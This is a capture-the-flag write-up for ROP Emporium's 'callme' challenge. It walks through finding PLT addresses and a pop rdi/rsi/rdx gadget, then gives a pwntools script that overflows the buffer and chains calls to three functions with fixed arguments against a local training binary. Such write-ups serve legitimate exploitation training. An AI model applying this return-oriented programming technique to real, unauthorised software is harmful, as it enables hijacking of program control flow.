3. callme
the third challenge, this challenge wants us to make consecutive function
calls from plt
.
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
so let's begin finding the function address and gadgets we want to use.
using rabin2
┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ rabin2 -i callme
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x004006d0 GLOBAL FUNC puts
2 0x004006e0 GLOBAL FUNC printf
3 0x004006f0 GLOBAL FUNC callme_three
4 0x00400700 GLOBAL FUNC memset
5 0x00400710 GLOBAL FUNC read
6 0x00000000 GLOBAL FUNC __libc_start_main
7 0x00400720 GLOBAL FUNC callme_one
8 0x00000000 WEAK NOTYPE __gmon_start__
9 0x00400730 GLOBAL FUNC setvbuf
10 0x00400740 GLOBAL FUNC callme_two
11 0x00400750 GLOBAL FUNC exit
now, since we are in x64
challenge we have to know the calling convention so we can supply the correct arguments.
we have to set rdi, rsi, rdx
in order to call a function with 3 parameters. let's find the gadgets for this.
also don't forget to look into the usefulGadgets
and usefulFunction
in the binary.
gef➤ disas usefulFunction
Dump of assembler code for function usefulFunction:
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
End of assembler dump.
gef➤ disas usefulGadgets
Dump of assembler code for function usefulGadgets:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
End of assembler dump.
let's use ROPgadget
to find the gadgets we needed.
┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ ROPgadget --binary callme | grep rdi
0x0000000000400a3d : add byte ptr [rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400a3f : add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400a3c : add byte ptr fs:[rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
thanks to the usefulGadgets
function.
now, since we already know what are the parameters needed to be supply let's craft the payload.
from pwn import *
p = process("./callme")
padding = b"X"*40
call_one = 0x400720
call_two = 0x400740
call_three = 0x4006f0
arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d
pop_rdi_rsi_rdx = 0x40093c
set_reg = p64(pop_rdi_rsi_rdx) + p64(arg_1) + p64(arg_2) + p64(arg_3)
payload = padding + set_reg + p64(call_one) + set_reg + p64(call_two) + set_reg + p64(call_three)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
let's run it.
┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ python solve.py
[+] Starting local process './callme': pid 1230
[*] Switching to interactive mode
callme by ROP Emporium
[*] Process './callme' stopped with exit code 0 (pid 1230)
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
nice.